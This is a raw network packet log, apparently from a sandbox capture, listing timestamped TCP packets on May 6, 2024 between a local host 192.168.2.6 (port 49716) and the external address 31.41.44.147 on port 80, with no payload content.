May 6, 2024 02:52:55.611010075 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611032963 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611046076 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611061096 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611063957 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611078978 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611104965 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611109018 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611121893 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611135006 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611146927 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611152887 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611176968 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611179113 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611190081 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611202955 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611211061 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611251116 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611257076 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611268997 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611279964 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611295938 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611331940 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611382961 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611397982 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611408949 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611421108 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611430883 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611433983 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611448050 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611459970 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611463070 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611473083 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611485004 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611496925 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611509085 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611521006 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611529112 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611535072 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611546993 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611558914 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611567020 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611573935 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611588001 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611597061 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611601114 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611613989 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611622095 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611625910 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611639023 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611646891 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611650944 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611664057 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611670017 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611677885 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611691952 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611701965 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611715078 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611718893 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611727953 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.611747026 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.611773014 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709342003 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709410906 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709455013 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709490061 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709532976 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709553957 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709567070 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709568977 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709584951 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709603071 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709631920 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709646940 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709666014 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709693909 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709714890 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709727049 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709738970 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709753036 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709758997 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709767103 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709799051 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709830999 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709870100 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709882975 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709920883 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709939957 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709961891 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709975004 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.709979057 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.709996939 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710014105 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710066080 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710078001 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710089922 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710103989 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710108042 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710114956 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710133076 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710134029 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710148096 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710155010 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710170031 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710172892 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710187912 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710189104 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710201979 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710206032 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710218906 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710218906 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710233927 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710237980 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710257053 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710278034 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710313082 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710325956 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710359097 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.710369110 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710382938 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.710410118 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.867348909 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867424011 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.867530107 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867543936 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867556095 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867568970 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867580891 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867583036 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.867624044 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.867692947 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867744923 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.867759943 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.867803097 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868014097 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868026972 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868037939 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868048906 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868065119 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868071079 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868078947 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868091106 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868103981 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868109941 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868122101 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868132114 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868132114 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868134975 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868149042 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868158102 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868160963 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868174076 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868185043 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868185997 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868197918 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868199110 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868211985 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868225098 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868232965 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868238926 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868252039 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868252039 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868268013 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868269920 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868283987 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868293047 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868295908 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868309975 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868320942 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868323088 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868345022 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868360043 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868362904 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868372917 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868385077 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868396997 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868398905 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868408918 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868421078 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868422985 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868432045 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868447065 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868458986 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868485928 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868520021 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868541956 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868554115 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868565083 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868568897 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868577957 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868590117 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868594885 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868602991 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868613958 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868616104 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868628979 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868639946 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868640900 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868653059 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868658066 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868670940 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868681908 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868685007 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868697882 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868700027 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868710995 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868724108 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868750095 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868801117 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868813992 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868825912 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868838072 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868849039 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868856907 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868863106 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868875027 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868875980 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868882895 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868886948 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868900061 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868901968 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868912935 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868928909 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868933916 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868941069 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.868949890 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868969917 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.868990898 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.880776882 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.880790949 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.880867958 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.880876064 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.880916119 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.906680107 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.906766891 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.906917095 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.906965017 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.907406092 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.907423019 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.907449961 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.907466888 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.908226013 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.908267975 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.908399105 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.908440113 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.908444881 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.908477068 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.921469927 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.921566010 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.921577930 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.921617031 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.947227001 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.947352886 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.947369099 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.947411060 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.947907925 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.947972059 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.948008060 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.948046923 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.949189901 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.949234962 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.949350119 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.949363947 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.949393988 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.949410915 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.962167025 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.962214947 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.962332010 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.962433100 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.962447882 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.962488890 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.967590094 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.967638969 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.987972975 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.988066912 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.988147974 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.988197088 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.989157915 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.989171982 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.989217043 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.989250898 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.989727020 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.989784002 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.989923954 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.989969015 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.002862930 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.002933025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.003087044 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.003137112 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.028681040 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.028697014 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.028798103 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.029304028 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.029316902 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.029361963 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.029370070 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.029383898 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.029403925 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.029841900 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.029894114 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.030010939 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.030059099 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.030332088 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.030375004 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.030642986 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.030689001 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.044080019 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.044142008 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.044154882 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.044167995 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.044197083 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.044222116 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.070046902 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.070122004 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.070204973 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.070250988 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.070369005 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.070382118 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.070416927 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.070430040 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.070982933 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.071032047 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.071228981 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.071270943 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.071664095 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.071677923 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.071710110 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.071722984 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.071995020 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.072041035 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.084724903 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.084778070 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.084803104 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.084850073 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.110984087 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.111064911 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.111097097 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.111134052 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.111179113 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.111226082 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.111536026 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.111584902 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.112006903 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.112020016 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.112034082 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.112052917 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.112071991 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.112731934 CEST	80	49716	31.41.44.147	192.168.2.6
